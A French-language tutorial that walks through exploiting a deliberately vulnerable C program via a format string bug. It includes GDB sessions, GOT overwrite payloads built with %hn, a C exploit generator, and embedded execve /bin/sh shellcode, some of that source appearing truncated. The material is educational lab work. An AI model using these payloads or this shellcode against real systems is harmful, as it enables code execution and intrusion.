****************************************************** Une simple exploitation de vulnérabilité Format String ****************************************************** @-->jules.mainsard@esial.net Connaissances requises --> ASM (-) --> GDB (-) --> C (+) Voici un court exploit pour une simple vulnérabilité Format String. L'exploitation a été réalisé sous Backtrack 5, mais je pense que le processus d'exploitation est suffisamment détaillé pour pouvoir être reproduit sur n'importe qu'elle distribution Linux (Testé sur Ubuntu et Debian). Note: Vous devrez désactiver l'ASLR (Address Space Layout Randomization) avec sysctl kernel.randomize_va_space=0 ou en modifiant directement le fichier /proc/sys/kernel/randomize_va_space Voici le programme vulnérable que nous allons exploiter: #include #include int main(int argc, char *argv[]) { if(argc>1) { if(argc>2) { printf("Push a key to continue...\n"); //For attaching with gdb getc(stdin); } printf( argv[1] ); //Vulnerability printf("\n"); } } Compilation ... gcc -o formatstring formatstring.c -g Pour ceux qui ne connaissent pas la théorie classique d'exploitation (vocabulaire, shellcode...), il y a de bonnes doc sur le web. A propos des Format String, la vulnérabilité apparait quand vous passez en argument de la fonction printf (ou n'importe qu'elle fonction de cette famille d'ailleur) un pointeur sur chaine (comme argv[1] ici). Tous les modifier (*) présents dans votre chaine seront interprété par printf et subsitué par leur valeurs qui, en situation normale, ont aussi été passées en argument de la fonction et doivent donc se situer sur la pile actuelle. Dans notre cas, printf ne prend qu'un argument, les valeurs des modifiers seront donc subsitués par des valeurs inconnues de la pile. On peut donc lire la mémoire du programme qui peut potentiellement révéler des informations intéressantes. Essayons: (*) : les format modifiers commencent par un '%', il en existe beaucoup, les classiques %x pour 4 octets codés en hexadecimal, %s pour les pointeurs sur chaine, ou %n pour l'écriture en mémoire (4 octets). Je vous laisse consulter votre sprintf manuel pour plus d'infos : (*) root@bt:~/exploit# ./formatstring "%x %x" b7ff1030 804851b Ca commence bien :). Maintenant, pour le fun et parce que ca nous sera utile plus tard, on veut déterminer l'offset auquel commence la chaine argv[1] en mémoire (sur la pile en fait). C'est un argument de la fonction printf, il a donc une place légitime sur la pile de la fonction. On peut faire ca sans problèmes avec un petit script shell: for((i=0; i<200; i++)) do echo "Index $i" ./formatstring "AAAAA`python -c "print ' %x'*$i"`" | grep -A5 -B5 4141 >temp.pap if test -s "temp.pap"; then cat temp.pap break fi done rm temp.pap Executez le, vous obtiendrez probablement quelque chose comme ca: . . . Index 134 Index 135 Index 136 AAAAA b7ff1030 804851b b7fc9ff4 8048510 0 bffff478 b7e8abd6 2 bffff4a4 bffff4b0 b7fe1858 bffff460 ffffffff b7ffeff4 80482c4 1 bffff460 b7ff0626 b7fffab0 b7fe1b48 b7fc9ff4 0 0 bffff478 c410e2a0 eaafd4b0 0 0 0 2 8048400 0 b7ff6230 b7e8aafb b7ffeff4 2 8048400 0 8048421 80484b4 2 bffff4a4 8048510 8048500 b7ff1030 bffff49c b7fff8f8 2 bffff5f1 bffff600 0 bffff79e bffff7be bffff7d1 bffff7e1 bffff7ec bffff83d bffff84d bffff85f bffff889 bffff8a9 bffff8b3 bffffd54 bffffd7a bffffdc4 bffffe11 bffffe25 bffffe37 bffffe48 bffffe5f bffffe6a bffffe72 bffffe9e bffffeab bfffff0d bfffff4a bfffff6a bfffff77 bfffff84 bfffffa6 bfffffc3 bfffffdc 0 20 b7fe2420 21 b7fe2000 10 bfebfbff 6 1000 11 64 3 8048034 4 20 5 8 7 b7fe3000 8 0 9 8048400 b 0 c 0 d 0 e 0 17 0 19 bffff5db 1f bfffffed f bffff5eb 0 0 0 0 dc000000 716d924a 7fef9dfc 8cc53e9a 699d68e6 363836 662f2e00 616d726f 72747374 676e69 41414141 Ca veut simplement dire que si vous lancez `./formatstring "AAAAA%x %x ..."` [avec %x répété 136 fois], le dernier %x qui est dumpé de la pile est 0x41414141, comme vous le constatez au dessus. 0x41414141 est 'AAAA' en ASCII, ce qui veut dire que nous avons atteint le début de notre chaine argv[1] sur la pile. L'offset est 136 pour moi mais ce sera surement différent pour vous. Autre chose, j'ai donné 5 'A' en arguments de printf ici, le 'A' restant doit se tenir dans le prochain octet sur la pile (offset 137). Une moyen plus pratique de faire est de travailler avec le Direct Access Parameter. C'est assez facile à comprendre, au lieu de %x, on écrit %offset$x (offset étant un nombre). On référe aux 4 premiers octets avec %1$x, aux 4 prochain avec %2$x, etc. Appliqué à l'exemple précedent: root@bt:~/exploit# ./formatstring "%x %x" b7ff1030 804851b On peut le remplacer par: root@bt:~/exploit# ./formatstring "%1\$x" b7ff1030 root@bt:~/exploit# ./formatstring "%2\$x" 804851b On peut adapter notre script shell en quelque chose de plus compact: root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAA%$i\$x"; done | grep -B1 4141 Index 137 AAAA41410067 Index 138 AAAA31254141 root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAAAA%$i\$x"; done | grep -B1 4141 Index 137 AAAAAA41414141 Index 138 AAAAAA31254141 J'ai ajouté 2 'A' au second essai pour remplir une case complète de mémoire (4 octets ici) à l'offset 137. Ce nombre de 'A' à ajouter pour que les prochains soient correctement "alignés" est important, vous en aurez besoin plus tard pour configurer votre exploit. L'offset n'est plus le même que precedemment mais c'est normal, chaque ajout de caractères d'une longueur différente de 16 octets, décale la valeur initiale de départ de argv[1] sur la pile de printf. Une petite verif.. root@bt:~/exploit# ./formatstring "ABCDAA%137\$x" ABCDAA44434241 On est bono ('ABCD' = 0x44434241 , renversés en little endian ) Maintenant on va tenté d'écrire un peu de données en mémoire. Il y a un format modifier qui nous permet d'écrire en mémoire, c'est le modifier %n, qui écrit le nombres de charactères qui le précéde dans la chaine en question (argv[1] dans ./formatstring). printf("AAAAAA%n", akaddr) écrira 0x6 (pour les 6 'A' avant %n) à l'addresse akaddr. Or pour nous le(s) akaddr seront des valeurs de la pile (controlées grace au Direct Access Parametre), donc en utilisant l'offset du début de argv[1] sur la pile de printf, nous pourrons écrire des données arbitraire à des addresses arbitraires. C'est suffisant pour controler l'EIP et rediriger l'execution du programme. Nous allons utiliser un classique en remplacant un pointeur de fonction appelé dans la suite du programme par l'addresse d'un shellcode que nous ecrirons 4 octets plus loin en mémoire. Essayons de trouver un pointeur de fonctions à remplacer. root@bt:~/exploit# gdb formatstring GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: ... Reading symbols from /root/exploit/formatstring...done. (gdb) disas main Dump of assembler code for function main: 0x080484b4 <+0>: push %ebp 0x080484b5 <+1>: mov %esp,%ebp 0x080484b7 <+3>: and $0xfffffff0,%esp 0x080484ba <+6>: sub $0x10,%esp 0x080484bd <+9>: cmpl $0x1,0x8(%ebp) 0x080484c1 <+13>: jle 0x80484fe 0x080484c3 <+15>: cmpl $0x2,0x8(%ebp) 0x080484c7 <+19>: jle 0x80484e2 0x080484c9 <+21>: movl $0x80485c0,(%esp) 0x080484d0 <+28>: call 0x80483e4 0x080484d5 <+33>: mov 0x804a020,%eax 0x080484da <+38>: mov %eax,(%esp) 0x080484dd <+41>: call 0x80483c4 <_IO_getc@plt> 0x080484e2 <+46>: mov 0xc(%ebp),%eax 0x080484e5 <+49>: add $0x4,%eax 0x080484e8 <+52>: mov (%eax),%eax 0x080484ea <+54>: mov %eax,(%esp) 0x080484ed <+57>: call 0x80483d4 0x080484f2 <+62>: movl $0xa,(%esp) 0x080484f9 <+69>: call 0x80483a4 (*) 0x080484fe <+74>: leave 0x080484ff <+75>: ret End of assembler dump. (gdb) l *0x080484f9 0x80484f9 is in main (formatstring.c:13). 8 if(argc>2) { 9 printf("Push a key to continue...\n"); //For attaching with gdb 10 getc(stdin); 11 } 12 printf( argv[1] ); 13 printf("\n"); (*) 14 } 15 } 16 On va réecrire le pointeur de la fonction putchar(), qui est appelé lors de l'instruction printf("\n") en C. printf("\n") écrit un seul caractère , gcc optimise la routine assembleur utilisée en fonction du contenu que l'on veut afficher avec la fonction printf, ce pourrait être les routines asm puts ou printf à la place si l'on essaie d'afficher plus de contenu. Go inspecter la GOT (Global Offset Table) root@bt:~/exploit# objdump -R formatstring formatstring: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a020 R_386_COPY stdin 0804a000 R_386_JUMP_SLOT __gmon_start__ 0804a004 R_386_JUMP_SLOT putchar (*) 0804a008 R_386_JUMP_SLOT __libc_start_main 0804a00c R_386_JUMP_SLOT _IO_getc 0804a010 R_386_JUMP_SLOT printf 0804a014 R_386_JUMP_SLOT puts On va donc écrire à l'addresse 0x0804a004, c'est la que se trouve le pointeur qui mène à la routine putchar. [ L'offset sur argv[1] peut être différent sous gdb, j'avais trouvé 137 avant mais pour gdb c'est en fait 141, vous devrez peut être osciller un peu autour de votre valeur initial avec quelques `r "AAAAAA%1**\$x"` avant de retomber sur le bon offset ] (gdb) r "ABCDAA%141\$x" Starting program: /root/exploit/formatstring "ABCDAA%141\$x" ABCDAA41414443 Program exited with code 012. (gdb) r "AAABCD%141\$x" Starting program: /root/exploit/formatstring "AAABCD%141\$x" AAABCD44434241 Program exited with code 012. C'est bon on y est, maintenant l'écriture %n. (gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$n Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$n Program received signal SIGSEGV, Segmentation fault. 0x00000006 in ?? () Nickel c'est ce qu'on attendait. Quelques clarifications. On utilise `echo $'chain'` pour traduire nos octets hexadecimaux ('\x**') en charactères transmissible à ./formatstring. Ensuite, dans la fonction printf, %141$n essaie d'écrire à l'addresse présente sur la pile à l'offset 141, qui s'avère être notre addresse transmise, soit 0x0804a004. %141$n écrit donc le nombre de caractères présent avant lui dans argv[1], soit 0x6 à l'adresse 0x0804a004. Et 2 instructions plus tard, quand le programme va consulter l'addresse de putchar dans la GOT, il assigne à l'EIP la valeur *0x0804a004, qui est désormais 0x00000006 et le programme crash (addresse absurde). Pour cette exploitation, on va utiliser un modifier légérement différent qui est %hn, et qui écrit non pas 4 octets en mémoires (comme %n) mais seulement 2 (type short en C). (gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hn The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hn Program received signal SIGSEGV, Segmentation fault. 0xb7eb521c in vfprintf () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r eax 0x250804a0 621282464 ecx 0xbfffe020 -1073749984 edx 0x0 0 ebx 0xb7fc9ff4 -1208180748 esp 0xbfffddc8 0xbfffddc8 ebp 0xbffff518 0xbffff518 esi 0xb7fca4e0 -1208179488 edi 0x6 6 eip 0xb7eb521c 0xb7eb521c eflags 0x210206 [ PF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip => 0xb7eb521c : mov %di,(%eax) Le fameux piège, on peut seulement ajouter a notre argument des caractères par paquet de 16 afin que la chaine ne soit pas décalé sur la pile et que l'offset trouvé precedemment reste valable. Ici, le programme essaie d'écrire %di=0x6 à l'addresse dans %eax=0x250804a0 qui est clairement une addresse non permise (qui ne fait pas partie de l'espace mémoire alloué au programme). On le devine facilement, notre addresse n'est décalé que d'un octet, on en discerne encore les 3 premiers bytes. Ce qui est logique puisque nous n'avons ajouté qu'un seul caractère à notre argument (le 'h' de '%hn'). Donc d'après la théorie si on ajoute 15 caractères supplémentaire (des 'A') en fin de chaine, le problème devrait disparaitre. (gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x08040006 in ?? () Ouf :) Vous remarquez que cette fois, comme annoncé, seul 2 octets ont été réecrit par le modifier. Essayons d'écraser tous le pointeur avec un second %hn. On va devoir ajouter un '\x06\xa0\x04\x08' (addresse d'écriture, on écrit en mémoire tous les 2 octets) et '%142\$hn', ca fait 11 octets(=strlen(addr)+strlen(modifier)). On ajoute donc 16-11=5 'A' en plus a la fin de l'argument. (gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x000a000a in ?? () Checkpoint. Comment controler la valeur que nous écrivons? Souvenez vous de la definition du modifier %n/%hn, on peut utiliser des 'A' (ca risque de faire beaucoup...) ou alors le modifier %500x pour écrire 500 octets par exemple. La méthode des %***x abouti à l'exploit le plus court, c'est celle que nous allons utiliser. N'oublions pas, pour chaque ajout de %***x on devra compléter par un ajout de 16-strlen('%***x') nombre de 'A' a la fin de l'argument pour que l'addresse de base de argv[1] sur la pile de printf reste la meme (toujours la même règle). Pour tester ca on peut essayer d'écrire l'adresse de exit() à la place de putchar() et voir si le programme quitte normalement au lieu de crasher. (gdb) p exit $1 = {} 0xb7ea3200 Decompose en 2 * 2 octets => 0xb7ea 0x3200 Un peu de baby math, 0x3200 - 0xa == 12790 en decimal, on va utiliser %12790x (ca fait 9 'A' à ajouter en fin de chaine) 0xb7ea - 0x3200 == 34282 en decimal, on va utiliser %34282x (9 nouveau 'A' à ajouter en fin de chaine) Ce qui nous donne : (gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA�� . . . . . . 804851bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program exited with code 012. Ca marche bien. Mais ce cas la était idéal, les octets à écrire étaient dans le bon ordre (0x3200 < 0xb7ea), pour écrire un shellcode de 20 ou 30 octets ca risque de pas être aussi rose. C'est une petite contrainte quand on utilise le modifier %n/%hn il écrit le nombre d'octets qui le précédent dans la chaine, donc à chaque écriture il écrira forcément un nombre supérieur que l'écriture précédente. Les double octets du shellcode ne seront donc pas écrit dans leur ordre de lecture mais en ordre croissant en mémoire. Pour rappelle le shellcode sera écrit 4 octets plus loin que le pointeur de fonction que l'on écrase dans la GOT soit en 0x0804a008 (dans la continuité du remplacement du pointeur de fonction en fait). Le plus dur est fait, il ne reste plus qu'à écrire l'exploit. char *phrase="\x08\xa0\x04\x08" //4 bytes address "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //26 bytes shellcode phrase est la chaine que l'on veut écrire en mémoire en 0x0804a004. Donc le pointeur de fonction sur putchar (0x0804a004) est remplacé par 0x0804a008 qui est le début du shellcode. Ca peut être un peu dur à comprendre donc j'ai détaillé ;) Maintenant on va devoir extraire les octets de phrase par paire, noter leur position initiale dans phrase et les classer en ordre croissant. A partir de la 2 choix s'offre à nous pour notre exploit sur argv[1], soit placer les addresses d'écriture dans le bon ordre et les offset des modifier dans le mauvais, soit les addresses d'écriture dans le mauvais ordre et les offset des modifiers dans le bon ordre. C'est la seconde option qui est présenté dans cet exploit. [ Vous l'aurez compris quand je parle de mauvais ordre, c'est un ordre qui correspond à une écriture des octets de phrase en ordre croissant ] Les structures utilisés... typedef struct {int val; int pos;} charindex; void construireStruct(charindex tab[], char *psz) { int cur, cpt=0; //Extraire les byte de psz par paire et les stocker dans le tableau de structure avec leur position initiale dans psz while( (*psz!=0) && (*(psz+1)!=0) ) { cur= *(unsigned short *)psz; (*(tab+cpt)).val=cur; (*(tab+cpt)).pos=cpt; cpt++; psz+=2; } } L'écriture des addresses dans le "mauvais ordre".. charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct]; construireStruct(tabstructclasse, phrase); classerStructCroissant(tabstructclasse, lentabstruct); for(i=0; i #include #include typedef struct {int val; int pos;} charindex; void construireStruct(charindex tab[], char *psz); void classerStructCroissant(charindex tab[], int len); void formataddress(char chain[], int addr); void generata(char as[], int nbo); int main(int argc, char **argv) { int addresse=0x0804a004, lensofar=0, lenmodifier=6, i, lentabstruct, nba=7, vale, valmod, deb=137; char exploit[1000000], tempa[100000], tempaddr[100], tempmod[100]; char *phrase="\x08\xa0\x04\x08\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //strlen(phrase)%2=0 //Bruteforce option if(argc>1) nba=atoi(argv[1]); //Just change nba to deb if you want to bruteforce this one instead lentabstruct=strlen(phrase)/2+strlen(phrase)%2; charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct]; //Dabord on place les addresses, dans le bon ordre, puisquon ne dispose pas les byte dans leur ordre de lecture mais //en ordre croissant (imposé par le modifier $hn qui ecrit le nombre de caractere qui le précédent dans le buffer) construireStruct(tabstructclasse, phrase); classerStructCroissant(tabstructclasse, lentabstruct); for(i=0; i0) nba+=16-(strlen(tempmod)+4); deb++; lensofar+=vale; } generata(tempa, nba); strcat(exploit, tempa); printf("%s", exploit); } void generata(char as[], int nbo) { int k; for(k=0; ktab[k+1].val) { temp=tab[k]; tab[k]=tab[k+1]; tab[k+1]=temp; end=0; } } } } void formataddress(char chain[], int addr) { //Formatage byte a byte de l'adresse d'ecriture en little endian (dans le cas dune machine i386) //on ecrit les byte en sens inverse char opcode[20]; int v=(addr & 0xff); //addr & 0xff(000000) == identite des 2 bits de poid courant et mise a zero des autres sprintf(opcode, "%c", v); strcpy(chain, opcode); v=(addr & 0xff00)>>8; // addr >> (8|16|24) == decalage des 2 bits gardés intact tout a droite //(s'ils ne l'etaient pas deja, cas de la ligne 126) sprintf(opcode, "%c", v); strcat(chain, opcode); v=(addr & 0xff0000)>>16; sprintf(opcode, "%c", v); strcat(chain, opcode); v=(addr & 0xff000000)>>24; sprintf(opcode, "%c", v); strcat(chain, opcode); } **************References************************* ************************The Shellcoder's handbook